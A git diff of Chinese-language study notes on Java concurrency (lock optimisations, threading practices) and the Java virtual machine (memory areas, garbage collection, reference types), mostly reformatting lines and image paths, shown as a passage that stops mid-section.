@@ -1487,112 +1549,91 @@ ThreadLocal 从理论上讲并不是用来解决多线程并发问题的，因
 对于一些看起来没有加锁的代码，其实隐式的加了很多锁。例如下面的字符串拼接代码就隐式加了锁：
 
 ```java
-public static String concatString(String s1, String s2, String s3) {
-    return s1 + s2 + s3;
+public static String concatString(String s1, String s2, String s3) {
+    return s1 + s2 + s3;
 }
 ```
 
-String 是一个不可变的类，编译器会对 String 的拼接自动优化。在 JDK 1.5 之前，会转化为 StringBuffer 对象的连续 append() 操作：
+String 是一个不可变的类，编译器会对 String 的拼接自动优化。在 JDK 1.5 之前，会转化为 StringBuffer 对象的连续 append() 操作：
 
 ```java
-public static String concatString(String s1, String s2, String s3) {
-    StringBuffer sb = new StringBuffer();
-    sb.append(s1);
-    sb.append(s2);
-    sb.append(s3);
-    return sb.toString();
+public static String concatString(String s1, String s2, String s3) {
+    StringBuffer sb = new StringBuffer();
+    sb.append(s1);
+    sb.append(s2);
+    sb.append(s3);
+    return sb.toString();
 }
 ```
 
-每个 append() 方法中都有一个同步块。虚拟机观察变量 sb，很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说，sb 的所有引用永远不会逃逸到 concatString() 方法之外，其他线程无法访问到它，因此可以进行消除。
+每个 append() 方法中都有一个同步块。虚拟机观察变量 sb，很快就会发现它的动态作用域被限制在 concatString() 方法内部。也就是说，sb 的所有引用永远不会逃逸到 concatString() 方法之外，其他线程无法访问到它，因此可以进行消除。
 
-## 锁粗化
+## 锁粗化
 
 如果一系列的连续操作都对同一个对象反复加锁和解锁，频繁的加锁操作就会导致性能损耗。
 
-上一节的示例代码中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁，将会把加锁的范围扩展（粗化）到整个操作序列的外部。对于上一节的示例代码就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后，这样只需要加锁一次就可以了。
+上一节的示例代码中连续的 append() 方法就属于这类情况。如果虚拟机探测到由这样的一串零碎的操作都对同一个对象加锁，将会把加锁的范围扩展（粗化）到整个操作序列的外部。对于上一节的示例代码就是扩展到第一个 append() 操作之前直至最后一个 append() 操作之后，这样只需要加锁一次就可以了。
 
-## 轻量级锁
+## 轻量级锁
 
-JDK 1.6 引入了偏向锁和轻量级锁，从而让锁拥有了四个状态：无锁状态（unlocked）、偏向锁状态（biasble）、轻量级锁状态（lightweight locked）和重量级锁状态（inflated）。
+JDK 1.6 引入了偏向锁和轻量级锁，从而让锁拥有了四个状态：无锁状态（unlocked）、偏向锁状态（biasble）、轻量级锁状态（lightweight locked）和重量级锁状态（inflated）。
 
-以下是 HotSpot 虚拟机对象头的内存布局，这些数据被称为 Mark Word。其中 tag bits 对应了五个状态，这些状态在右侧的 state 表格中给出。除了 marked for gc 状态，其它四个状态已经在前面介绍过了。
+以下是 HotSpot 虚拟机对象头的内存布局，这些数据被称为 Mark Word。其中 tag bits 对应了五个状态，这些状态在右侧的 state 表格中给出。除了 marked for gc 状态，其它四个状态已经在前面介绍过了。
 
-<img src="index_files/bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png" width="500"/>
+<div align="center"> <img src="pics/bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png" width="500"/> </div><br>
 
-下图左侧是一个线程的虚拟机栈，其中有一部分称为 Lock Record 的区域，这是在轻量级锁运行过程创建的，用于存放锁对象的 Mark Word。而右侧就是一个锁对象，包含了 Mark Word 和其它信息。
+下图左侧是一个线程的虚拟机栈，其中有一部分称为 Lock Record 的区域，这是在轻量级锁运行过程创建的，用于存放锁对象的 Mark Word。而右侧就是一个锁对象，包含了 Mark Word 和其它信息。
 
-<img src="index_files/051e436c-0e46-4c59-8f67-52d89d656182.png" width="500"/>
+<div align="center"> <img src="pics/051e436c-0e46-4c59-8f67-52d89d656182.png" width="500"/> </div><br>
 
-轻量级锁是相对于传统的重量级锁而言，它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁，在整个同步周期内都是不存在竞争的，因此也就不需要都使用互斥量进行同步，可以先采用 CAS 操作进行同步，如果 CAS 失败了再改用互斥量进行同步。
+轻量级锁是相对于传统的重量级锁而言，它使用 CAS 操作来避免重量级锁使用互斥量的开销。对于绝大部分的锁，在整个同步周期内都是不存在竞争的，因此也就不需要都使用互斥量进行同步，可以先采用 CAS 操作进行同步，如果 CAS 失败了再改用互斥量进行同步。
 
-当尝试获取一个锁对象时，如果锁对象标记为 0 01，说明锁对象的锁未锁定（unlocked）状态。此时虚拟机在当前线程的虚拟机栈中创建 Lock Record，然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了，那么线程就获取了该对象上的锁，并且对象的 Mark Word 的锁标记变为 00，表示该对象处于轻量级锁状态。
+当尝试获取一个锁对象时，如果锁对象标记为 0 01，说明锁对象的锁未锁定（unlocked）状态。此时虚拟机在当前线程的虚拟机栈中创建 Lock Record，然后使用 CAS 操作将对象的 Mark Word 更新为 Lock Record 指针。如果 CAS 操作成功了，那么线程就获取了该对象上的锁，并且对象的 Mark Word 的锁标记变为 00，表示该对象处于轻量级锁状态。
 
-<img src="index_files/baaa681f-7c52-4198-a5ae-303b9386cf47.png" width="400"/>
+<div align="center"> <img src="pics/baaa681f-7c52-4198-a5ae-303b9386cf47.png" width="400"/> </div><br>
 
-如果 CAS 操作失败了，虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈，如果是的话说明当前线程已经拥有了这个锁对象，那就可以直接进入同步块继续执行，否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁，那轻量级锁就不再有效，要膨胀为重量级锁。
+如果 CAS 操作失败了，虚拟机首先会检查对象的 Mark Word 是否指向当前线程的虚拟机栈，如果是的话说明当前线程已经拥有了这个锁对象，那就可以直接进入同步块继续执行，否则说明这个锁对象已经被其他线程线程抢占了。如果有两条以上的线程争用同一个锁，那轻量级锁就不再有效，要膨胀为重量级锁。
 
-## 偏向锁
+## 偏向锁
 
-偏向锁的思想是偏向于让第一个获取锁对象的线程，这个线程在之后获取该锁就不再需要进行同步操作，甚至连 CAS 操作也不再需要。
+偏向锁的思想是偏向于让第一个获取锁对象的线程，这个线程在之后获取该锁就不再需要进行同步操作，甚至连 CAS 操作也不再需要。
 
-当锁对象第一次被线程获得的时候，进入偏向状态，标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中，如果 CAS 操作成功，这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。
+当锁对象第一次被线程获得的时候，进入偏向状态，标记为 1 01。同时使用 CAS 操作将线程 ID 记录到 Mark Word 中，如果 CAS 操作成功，这个线程以后每次进入这个锁相关的同步块就不需要再进行任何同步操作。
 
-当有另外一个线程去尝试获取这个锁对象时，偏向状态就宣告结束，此时撤销偏向（Revoke Bias）后恢复到未锁定状态或者轻量级锁状态。
+当有另外一个线程去尝试获取这个锁对象时，偏向状态就宣告结束，此时撤销偏向（Revoke Bias）后恢复到未锁定状态或者轻量级锁状态。
 
-<img src="index_files/390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg" width="600"/>
+<div align="center"> <img src="pics/390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg" width="600"/> </div><br>
 
-# 十三、多线程开发良好的实践
+# 十三、多线程开发良好的实践
 
-- 给线程起个有意义的名字，这样可以方便找 Bug。
+- 给线程起个有意义的名字，这样可以方便找 Bug。
 
-- 缩小同步范围，从而减少锁争用。例如对于 synchronized，应该尽量使用同步块而不是同步方法。
+- 缩小同步范围，从而减少锁争用。例如对于 synchronized，应该尽量使用同步块而不是同步方法。
 
-- 多用同步工具少用 wait() 和 notify()。首先，CountDownLatch, CyclicBarrier, Semaphore 和 Exchanger 这些同步类简化了编码操作，而用 wait() 和 notify() 很难实现复杂控制流；其次，这些同步类是由最好的企业编写和维护，在后续的 JDK 中还会不断优化和完善。
+- 多用同步工具少用 wait() 和 notify()。首先，CountDownLatch, CyclicBarrier, Semaphore 和 Exchanger 这些同步类简化了编码操作，而用 wait() 和 notify() 很难实现复杂控制流；其次，这些同步类是由最好的企业编写和维护，在后续的 JDK 中还会不断优化和完善。
 
-- 使用 BlockingQueue 实现生产者消费者问题。
+- 使用 BlockingQueue 实现生产者消费者问题。
 
-- 多用并发集合少用同步集合，例如应该使用 ConcurrentHashMap 而不是 Hashtable。
+- 多用并发集合少用同步集合，例如应该使用 ConcurrentHashMap 而不是 Hashtable。
 
-- 使用本地变量和不可变类来保证线程安全。
+- 使用本地变量和不可变类来保证线程安全。
 
-- 使用线程池而不是直接创建线程，这是因为创建线程代价很高，线程池可以有效地利用有限的线程来启动任务。
+- 使用线程池而不是直接创建线程，这是因为创建线程代价很高，线程池可以有效地利用有限的线程来启动任务。
 
-# 参考资料
+# 参考资料
 
-- BruceEckel. Java 编程思想: 第 4 版 [M]. 机械工业出版社, 2007.
-- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
-- [Threads and Locks](https://docs.oracle.com/javase/specs/jvms/se6/html/Threads.doc.html)
-- [线程通信](http://ifeve.com/thread-signaling/#missed_signal)
-- [Java 线程面试题 Top 50](http://www.importnew.com/12773.html)
-- [BlockingQueue](http://tutorials.jenkov.com/java-util-concurrent/blockingqueue.html)
-- [thread state java](https://stackoverflow.com/questions/11265289/thread-state-java)
-- [CSC 456 Spring 2012/ch7 MN](http://wiki.expertiza.ncsu.edu/index.php/CSC_456_Spring_2012/ch7_MN)
-- [Java - Understanding Happens-before relationship](https://www.logicbig.com/tutorials/core-java-tutorial/java-multi-threading/happens-before.html)
-- [6장 Thread Synchronization](https://www.slideshare.net/novathinker/6-thread-synchronization)
-- [How is Java's ThreadLocal implemented under the hood?](https://stackoverflow.com/questions/1202444/how-is-javas-threadlocal-implemented-under-the-hood/15653015)
-- [Concurrent](https://sites.google.com/site/webdevelopart/21-compile/06-java/javase/concurrent?tmpl=%2Fsystem%2Fapp%2Ftemplates%2Fprint%2F&showPrintDialog=1)
-- [JAVA FORK JOIN EXAMPLE](http://www.javacreed.com/java-fork-join-example/ "Java Fork Join Example")
-- [聊聊并发（八）——Fork/Join 框架介绍](http://ifeve.com/talk-concurrency-forkjoin/)
-- [Eliminating SynchronizationRelated Atomic Operations with Biased Locking and Bulk Rebiasing](http://www.oracle.com/technetwork/java/javase/tech/biasedlocking-oopsla2006-preso-150106.pdf)
----bottom---CyC---
-![](index_files/ace830df-9919-48ca-91b5-60b193f593d2.png)
-![](index_files/CountdownLatch.png)
-![](index_files/CyclicBarrier.png)
-![](index_files/Semaphore.png)
-![](index_files/15b45dc6-27aa-4519-9194-f4acfa2b077f.jpg)
-![](index_files/68778c1b-15ab-4826-99c0-3b4fd38cb9e9.png)
-![](index_files/47358f87-bc4c-496f-9a90-8d696de94cee.png)
-![](index_files/536c6dfd-305a-4b95-b12c-28ca5e8aa043.png)
-![](index_files/ef8eab00-1d5e-4d99-a7c2-d6d68ea7fe92.png)
-![](index_files/952afa9a-458b-44ce-bba9-463e60162945.png)
-![](index_files/single-thread-rule.png)
-![](index_files/monitor-lock-rule.png)
-![](index_files/volatile-variable-rule.png)
-![](index_files/thread-start-rule.png)
-![](index_files/thread-join-rule.png)
-![](index_files/3646544a-cb57-451d-9e03-d3c4f5e4434a.png)
-![](index_files/bb6a49be-00f2-4f27-a0ce-4ed764bc605c.png)
-![](index_files/051e436c-0e46-4c59-8f67-52d89d656182.png)
-![](index_files/baaa681f-7c52-4198-a5ae-303b9386cf47.png)
-![](index_files/390c913b-5f31-444f-bbdb-2b88b688e7ce.jpg)
+- BruceEckel. Java 编程思想: 第 4 版 [M]. 机械工业出版社, 2007.
+- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
+- [Threads and Locks](https://docs.oracle.com/javase/specs/jvms/se6/html/Threads.doc.html)
+- [线程通信](http://ifeve.com/thread-signaling/#missed_signal)
+- [Java 线程面试题 Top 50](http://www.importnew.com/12773.html)
+- [BlockingQueue](http://tutorials.jenkov.com/java-util-concurrent/blockingqueue.html)
+- [thread state java](https://stackoverflow.com/questions/11265289/thread-state-java)
+- [CSC 456 Spring 2012/ch7 MN](http://wiki.expertiza.ncsu.edu/index.php/CSC_456_Spring_2012/ch7_MN)
+- [Java - Understanding Happens-before relationship](https://www.logicbig.com/tutorials/core-java-tutorial/java-multi-threading/happens-before.html)
+- [6장 Thread Synchronization](https://www.slideshare.net/novathinker/6-thread-synchronization)
+- [How is Java's ThreadLocal implemented under the hood?](https://stackoverflow.com/questions/1202444/how-is-javas-threadlocal-implemented-under-the-hood/15653015)
+- [Concurrent](https://sites.google.com/site/webdevelopart/21-compile/06-java/javase/concurrent?tmpl=%2Fsystem%2Fapp%2Ftemplates%2Fprint%2F&showPrintDialog=1)
+- [JAVA FORK JOIN EXAMPLE](http://www.javacreed.com/java-fork-join-example/ "Java Fork Join Example")
+- [聊聊并发（八）——Fork/Join 框架介绍](http://ifeve.com/talk-concurrency-forkjoin/)
+- [Eliminating SynchronizationRelated Atomic Operations with Biased Locking and Bulk Rebiasing](http://www.oracle.com/technetwork/java/javase/tech/biasedlocking-oopsla2006-preso-150106.pdf)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index c799879a..3eb14f67 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,117 +1,148 @@
-# 一、运行时数据区域
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、运行时数据区域](#一运行时数据区域)
+    * [程序计数器](#程序计数器)
+    * [Java 虚拟机栈](#java-虚拟机栈)
+    * [本地方法栈](#本地方法栈)
+    * [堆](#堆)
+    * [方法区](#方法区)
+    * [运行时常量池](#运行时常量池)
+    * [直接内存](#直接内存)
+* [二、垃圾收集](#二垃圾收集)
+    * [判断一个对象是否可被回收](#判断一个对象是否可被回收)
+    * [引用类型](#引用类型)
+    * [垃圾收集算法](#垃圾收集算法)
+    * [垃圾收集器](#垃圾收集器)
+* [三、内存分配与回收策略](#三内存分配与回收策略)
+    * [Minor GC 和 Full GC](#minor-gc-和-full-gc)
+    * [内存分配策略](#内存分配策略)
+    * [Full GC 的触发条件](#full-gc-的触发条件)
+* [四、类加载机制](#四类加载机制)
+    * [类的生命周期](#类的生命周期)
+    * [类加载过程](#类加载过程)
+    * [类初始化时机](#类初始化时机)
+    * [类与类加载器](#类与类加载器)
+    * [类加载器分类](#类加载器分类)
+    * [双亲委派模型](#双亲委派模型)
+    * [自定义类加载器实现](#自定义类加载器实现)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-<img src="index_files/ab701824-e308-4284-88b6-596cc606fadb.png" width="450"/>
 
-## 程序计数器
+# 一、运行时数据区域
+
+<div align="center"> <img src="pics/ab701824-e308-4284-88b6-596cc606fadb.png" width="450"/> </div><br>
+
+## 程序计数器
 
 记录正在执行的虚拟机字节码指令的地址（如果正在执行的是本地方法则为空）。
 
-## Java 虚拟机栈
+## Java 虚拟机栈
 
-每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
+每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
 
-<img src="index_files/28ab96b4-82ea-4d99-99fb-b320f60d0a58.png" width="500"/>
+<div align="center"> <img src="pics/28ab96b4-82ea-4d99-99fb-b320f60d0a58.png" width="500"/> </div><br>
 
-可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小：
+可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小：
 
 ```java
-java -Xss512M HackTheJava
+java -Xss512M HackTheJava
 ```
 
 该区域可能抛出以下异常：
 
-- 当线程请求的栈深度超过最大值，会抛出 StackOverflowError 异常；
-- 栈进行动态扩展时如果无法申请到足够内存，会抛出 OutOfMemoryError 异常。
+- 当线程请求的栈深度超过最大值，会抛出 StackOverflowError 异常；
+- 栈进行动态扩展时如果无法申请到足够内存，会抛出 OutOfMemoryError 异常。
 
-## 本地方法栈
+## 本地方法栈
 
-本地方法栈与 Java 虚拟机栈类似，它们之间的区别只不过是本地方法栈为本地方法服务。
+本地方法栈与 Java 虚拟机栈类似，它们之间的区别只不过是本地方法栈为本地方法服务。
 
-本地方法一般是用其它语言（C、C++ 或汇编语言等）编写的，并且被编译为基于本机硬件和操作系统的程序，对待这些方法需要特别处理。
+本地方法一般是用其它语言（C、C++ 或汇编语言等）编写的，并且被编译为基于本机硬件和操作系统的程序，对待这些方法需要特别处理。
 
-<img src="index_files/JNI-Java-Native-Interface.jpg" width="350"/>
+<div align="center"> <img src="pics/JNI-Java-Native-Interface.jpg" width="350"/> </div><br>
 
-## 堆
+## 堆
 
-所有对象都在这里分配内存，是垃圾收集的主要区域（"GC 堆"）。
+所有对象都在这里分配内存，是垃圾收集的主要区域（"GC 堆"）。
 
 现代的垃圾收集器基本都是采用分代收集算法，其主要的思想是针对不同类型的对象采取不同的垃圾回收算法。可以将堆分成两块：
 
-- 新生代（Young Generation）
-- 老年代（Old Generation）
+- 新生代（Young Generation）
+- 老年代（Old Generation）
 
-堆不需要连续内存，并且可以动态增加其内存，增加失败会抛出 OutOfMemoryError 异常。
+堆不需要连续内存，并且可以动态增加其内存，增加失败会抛出 OutOfMemoryError 异常。
 
-可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
+可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
 
 ```java
-java -Xms1M -Xmx2M HackTheJava
+java -Xms1M -Xmx2M HackTheJava
 ```
 
-## 方法区
+## 方法区
 
 用于存放已被加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。
 
-和堆一样不需要连续的内存，并且可以动态扩展，动态扩展失败一样会抛出 OutOfMemoryError 异常。
+和堆一样不需要连续的内存，并且可以动态扩展，动态扩展失败一样会抛出 OutOfMemoryError 异常。
 
 对这块区域进行垃圾回收的主要目标是对常量池的回收和对类的卸载，但是一般比较难实现。
 
-HotSpot 虚拟机把它当成永久代来进行垃圾回收。但很难确定永久代的大小，因为它受到很多因素影响，并且每次 Full GC 之后永久代的大小都会改变，所以经常会抛出 OutOfMemoryError 异常。为了更容易管理方法区，从 JDK 1.8 开始，移除永久代，并把方法区移至元空间，它位于本地内存中，而不是虚拟机内存中。
+HotSpot 虚拟机把它当成永久代来进行垃圾回收。但很难确定永久代的大小，因为它受到很多因素影响，并且每次 Full GC 之后永久代的大小都会改变，所以经常会抛出 OutOfMemoryError 异常。为了更容易管理方法区，从 JDK 1.8 开始，移除永久代，并把方法区移至元空间，它位于本地内存中，而不是虚拟机内存中。
 
-## 运行时常量池
+## 运行时常量池
 
 运行时常量池是方法区的一部分。
 
-Class 文件中的常量池（编译器生成的字面量和符号引用）会在类加载后被放入这个区域。
+Class 文件中的常量池（编译器生成的字面量和符号引用）会在类加载后被放入这个区域。
 
-除了在编译期生成的常量，还允许动态生成，例如 String 类的 intern()。
+除了在编译期生成的常量，还允许动态生成，例如 String 类的 intern()。
 
-## 直接内存
+## 直接内存
 
-在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在堆内存和堆外内存来回拷贝数据。
+在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在堆内存和堆外内存来回拷贝数据。
 
-# 二、垃圾收集
+# 二、垃圾收集
 
 垃圾收集主要是针对堆和方法区进行。
 
 程序计数器、虚拟机栈和本地方法栈这三个区域属于线程私有的，只存在于线程的生命周期内，线程结束之后也会消失，因此不需要对这三个区域进行垃圾回收。
 
-## 判断一个对象是否可被回收
+## 判断一个对象是否可被回收
 
-### 1. 引用计数算法
+### 1. 引用计数算法
 
-为对象添加一个引用计数器，当对象增加一个引用时计数器加 1，引用失效时计数器减 1。引用计数为 0 的对象可被回收。
+为对象添加一个引用计数器，当对象增加一个引用时计数器加 1，引用失效时计数器减 1。引用计数为 0 的对象可被回收。
 
-两个对象出现循环引用的情况下，此时引用计数器永远不为 0，导致无法对它们进行回收。正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
+两个对象出现循环引用的情况下，此时引用计数器永远不为 0，导致无法对它们进行回收。正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
 
 ```java
-public class ReferenceCountingGC {
+public class ReferenceCountingGC {
 
-    public Object instance = null;
+    public Object instance = null;
 
-    public static void main(String[] args) {
-        ReferenceCountingGC objectA = new ReferenceCountingGC();
-        ReferenceCountingGC objectB = new ReferenceCountingGC();
-        objectA.instance = objectB;
-        objectB.instance = objectA;
-    }
+    public static void main(String[] args) {
+        ReferenceCountingGC objectA = new ReferenceCountingGC();
+        ReferenceCountingGC objectB = new ReferenceCountingGC();
+        objectA.instance = objectB;
+        objectB.instance = objectA;
+    }
 }
 ```
 
-### 2. 可达性分析算法
+### 2. 可达性分析算法
 
-通过 GC Roots 作为起始点进行搜索，能够到达到的对象都是存活的，不可达的对象可被回收。
+通过 GC Roots 作为起始点进行搜索，能够到达到的对象都是存活的，不可达的对象可被回收。
 
-Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC Roots 一般包含以下内容：
+Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC Roots 一般包含以下内容：
 
-- 虚拟机栈中局部变量表中引用的对象
-- 本地方法栈中 JNI 中引用的对象
-- 方法区中类静态属性引用的对象
-- 方法区中的常量引用的对象
+- 虚拟机栈中局部变量表中引用的对象
+- 本地方法栈中 JNI 中引用的对象
+- 方法区中类静态属性引用的对象
+- 方法区中的常量引用的对象
 
-<img src="index_files/0635cbe8.png" width=""/>
+<div align="center"> <img src="pics/0635cbe8.png" width=""/> </div><br>
 
-### 3. 方法区的回收
+### 3. 方法区的回收
 
 因为方法区主要存放永久代对象，而永久代对象的回收率比新生代低很多，因此在方法区上进行回收性价比不高。
 
@@ -121,604 +152,585 @@ Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中
 
 类的卸载条件很多，需要满足以下三个条件，但是满足了也不一定会被卸载：
 
-- 该类所有的实例都已经被回收，此时堆中不存在该类的任何实例。
-- 加载该类的 ClassLoader 已经被回收。
-- 该类对应的 Class 对象没有在任何地方被引用，也就无法在任何地方通过反射访问该类方法。
+- 该类所有的实例都已经被回收，此时堆中不存在该类的任何实例。
+- 加载该类的 ClassLoader 已经被回收。
+- 该类对应的 Class 对象没有在任何地方被引用，也就无法在任何地方通过反射访问该类方法。
 
-### 4. finalize()
+### 4. finalize()
 
-finalize() 类似 C++ 的析构函数，用于关闭外部资源。但是 try-finally 等方式可以做的更好，并且该方法运行代价很高，不确定性大，无法保证各个对象的调用顺序，因此最好不要使用。
+finalize() 类似 C++ 的析构函数，用于关闭外部资源。但是 try-finally 等方式可以做的更好，并且该方法运行代价很高，不确定性大，无法保证各个对象的调用顺序，因此最好不要使用。
 
-当一个对象可被回收时，如果需要执行该对象的 finalize() 方法，那么就有可能在该方法中让对象重新被引用，从而实现自救。自救只能进行一次，如果回收的对象之前调用了 finalize() 方法自救，后面回收时不会调用 finalize() 方法。
+当一个对象可被回收时，如果需要执行该对象的 finalize() 方法，那么就有可能在该方法中让对象重新被引用，从而实现自救。自救只能进行一次，如果回收的对象之前调用了 finalize() 方法自救，后面回收时不会调用 finalize() 方法。
 
-## 引用类型
+## 引用类型
 
 无论是通过引用计数算法判断对象的引用数量，还是通过可达性分析算法判断对象是否可达，判定对象是否可被回收都与引用有关。
 
-Java 提供了四种强度不同的引用类型。
+Java 提供了四种强度不同的引用类型。
 
-### 1. 强引用
+### 1. 强引用
 
 被强引用关联的对象不会被回收。
 
-使用 new 一个新对象的方式来创建强引用。
+使用 new 一个新对象的方式来创建强引用。
 
 ```java
-Object obj = new Object();
+Object obj = new Object();
 ```
 
-### 2. 软引用
+### 2. 软引用
 
 被软引用关联的对象只有在内存不够的情况下才会被回收。
 
-使用 SoftReference 类来创建软引用。
+使用 SoftReference 类来创建软引用。
 
 ```java
-Object obj = new Object();
-SoftReference<Object> sf = new SoftReference<Object>(obj);
-obj = null;  // 使对象只被软引用关联
+Object obj = new Object();
+SoftReference<Object> sf = new SoftReference<Object>(obj);
+obj = null;  // 使对象只被软引用关联
 ```
 
-### 3. 弱引用
+### 3. 弱引用
 
 被弱引用关联的对象一定会被回收，也就是说它只能存活到下一次垃圾回收发生之前。
 
-使用 WeakReference 类来实现弱引用。
+使用 WeakReference 类来实现弱引用。
 
 ```java
-Object obj = new Object();
-WeakReference<Object> wf = new WeakReference<Object>(obj);
-obj = null;
+Object obj = new Object();
+WeakReference<Object> wf = new WeakReference<Object>(obj);
+obj = null;
 ```
 
-### 4. 虚引用
+### 4. 虚引用
 
 又称为幽灵引用或者幻影引用，一个对象是否有虚引用的存在，不会对其生存时间造成影响，也无法通过虚引用得到一个对象。
 
 为一个对象设置虚引用的唯一目的是能在这个对象被回收时收到一个系统通知。
 
-使用 PhantomReference 来实现虚引用。
+使用 PhantomReference 来实现虚引用。
 
 ```java
-Object obj = new Object();
-PhantomReference<Object> pf = new PhantomReference<Object>(obj);
-obj = null;
+Object obj = new Object();
+PhantomReference<Object> pf = new PhantomReference<Object>(obj);
+obj = null;
 ```
 
-## 垃圾收集算法
+## 垃圾收集算法
 
-### 1. 标记 - 清除
+### 1. 标记 - 清除
 
-<img src="index_files/a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/>
+<div align="center"> <img src="pics/a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
 
 标记要回收的对象，然后清除。
 
 不足：
 
-- 标记和清除过程效率都不高；
-- 会产生大量不连续的内存碎片，导致无法给大对象分配内存。
+- 标记和清除过程效率都不高；
+- 会产生大量不连续的内存碎片，导致无法给大对象分配内存。
 
-### 2. 标记 - 整理
+### 2. 标记 - 整理
 
-<img src="index_files/902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/>
+<div align="center"> <img src="pics/902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
 
 让所有存活的对象都向一端移动，然后直接清理掉端边界以外的内存。
 
-### 3. 复制
+### 3. 复制
 
-<img src="index_files/e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/>
+<div align="center"> <img src="pics/e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
 
 将内存划分为大小相等的两块，每次只使用其中一块，当这一块内存用完了就将还存活的对象复制到另一块上面，然后再把使用过的内存空间进行一次清理。
 
 主要不足是只使用了内存的一半。
 
-现在的商业虚拟机都采用这种收集算法回收新生代，但是并不是划分为大小相等的两块，而是一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 空间和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象全部复制到另一块 Survivor 空间上，最后清理 Eden 和使用过的那一块 Survivor。
+现在的商业虚拟机都采用这种收集算法回收新生代，但是并不是划分为大小相等的两块，而是一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 空间和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象全部复制到另一块 Survivor 空间上，最后清理 Eden 和使用过的那一块 Survivor。
 
-HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 空间就不够用了，此时需要依赖于老年代进行空间分配担保，也就是借用老年代的空间存储放不下的对象。
+HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 空间就不够用了，此时需要依赖于老年代进行空间分配担保，也就是借用老年代的空间存储放不下的对象。
 
-### 4. 分代收集
+### 4. 分代收集
 
 现在的商业虚拟机采用分代收集算法，它根据对象存活周期将内存划分为几块，不同块采用适当的收集算法。
 
 一般将堆分为新生代和老年代。
 
-- 新生代使用：复制算法
-- 老年代使用：标记 - 清除 或者 标记 - 整理 算法
+- 新生代使用：复制算法
+- 老年代使用：标记 - 清除 或者 标记 - 整理 算法
 
-## 垃圾收集器
+## 垃圾收集器
 
-<img src="index_files/c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/>
+<div align="center"> <img src="pics/c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/> </div><br>
 
-以上是 HotSpot 虚拟机中的 7 个垃圾收集器，连线表示垃圾收集器可以配合使用。
+以上是 HotSpot 虚拟机中的 7 个垃圾收集器，连线表示垃圾收集器可以配合使用。
 
-- 单线程与多线程：单线程指的是垃圾收集器只使用一个线程进行收集，而多线程使用多个线程；
-- 串行与并行：串行指的是垃圾收集器与用户程序交替执行，这意味着在执行垃圾收集的时候需要停顿用户程序；并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外，其它垃圾收集器都是以串行的方式执行。
+- 单线程与多线程：单线程指的是垃圾收集器只使用一个线程进行收集，而多线程使用多个线程；
